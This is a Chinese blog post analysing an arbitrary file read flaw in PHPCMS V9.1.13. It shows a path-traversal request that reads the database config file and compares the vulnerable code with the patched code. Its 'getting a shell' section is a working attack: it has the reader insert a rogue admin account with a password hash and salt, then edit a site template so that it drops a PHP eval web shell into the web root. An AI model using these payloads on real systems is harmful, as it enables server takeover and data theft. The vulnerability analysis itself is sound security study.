PHPCMS V9.1.13任意文件包含漏洞分析

本文详细解析了PHPCMS V9.1.13版本中存在的任意文件包含漏洞,通过使用Linux工具快速定位漏洞函数,并展示了如何在新版本中修复该漏洞。此外,文章还介绍了如何获取shell并实现远程控制。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

最近爆出了PHPCMS V9.1.13任意文件包含漏洞,新版本(v9.1.16)已经针对该漏洞做了修复。


下载PHPCMS V9.1.13,解压。


这里我就用Linux天生具备的高效分析能力去快速定位存在漏洞的函数。就懒得找入口点看代码了。


首先我们看触发漏洞的url:/index.php?m=search&c=index&a=public_get_suggest_keyword&url=test&q=../../phpsso_server/caches/configs/database.php


我将public_get_suggest_keyword作为关键字在源码中查找:


1,cd phpcms_v9_GBK/install_package/

2,grep -H -n -R "public_get_suggest_keyword" *

参数说明:-H可以显示文件名;-n显示行号;-R递归目录,查找所有文件


结果如图:



在phpcms/modules/search/index.php文件的第198行找到该函数的定义了:public function public_get_suggest_keyword()


vim phpcms/modules/search/index.php


然后在vim里按shift+冒号,进入vim命令行模式,输入set number可以显示行号,再输入198,直接跳转到198行处:


198         public function public_get_suggest_keyword() {

199                 $url = $_GET['url'].'&q='.$_GET['q'];

200 

201                 $res = @file_get_contents($url);

202                 if(CHARSET != 'gbk') {

203                         $res = iconv('gbk', CHARSET, $res);

204                 }

205                 echo $res;

206         }


注意第201行的file_get_contents函数,该函数可以获得指定文件的内容,在此并未做过滤直接可以读取任意文件内容。


在新版本中该函数已经修复:


198         public function public_get_suggest_keyword() {

199                 $url = $_GET['url'].'&q='.$_GET['q'];

200                 $trust_url = array('c8430fcf851e85818b546addf5bc4dd3');

201                 $urm_md5 = md5($url);

202                 if (!in_array($urm_md5, $trust_url)) exit;

203 

204                 $res = @file_get_contents($url);

205                 if(CHARSET != 'gbk') {

206                         $res = iconv('gbk', CHARSET, $res);

207                 }

208                 echo $res;

209         }


关于拿shell


开启外联的增加一条数据库

Username:admin password: 3a9a8068f44c3afc55c424ab8a1c27cf roleid:1 encrypt:Ft7aax

注意这几项必须添负责登录不了的。应为这条记录的意思是添加用户名为admin,密码为:kaonima的超级管理员



登录后台后我们找到界面-》模版风格-》选择默认模版点击详情列表



然后点击里面的search目录下面的index.html右侧的编辑



修改其模版为:

<?php $shell = '<?php @eval($_POST[cmd]);?>';file_put_contents('shell.php',$shell);?>


提交保存

然后访问:localhost/index.php?m=search

会在根目录生成一个shell.php的一句话 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值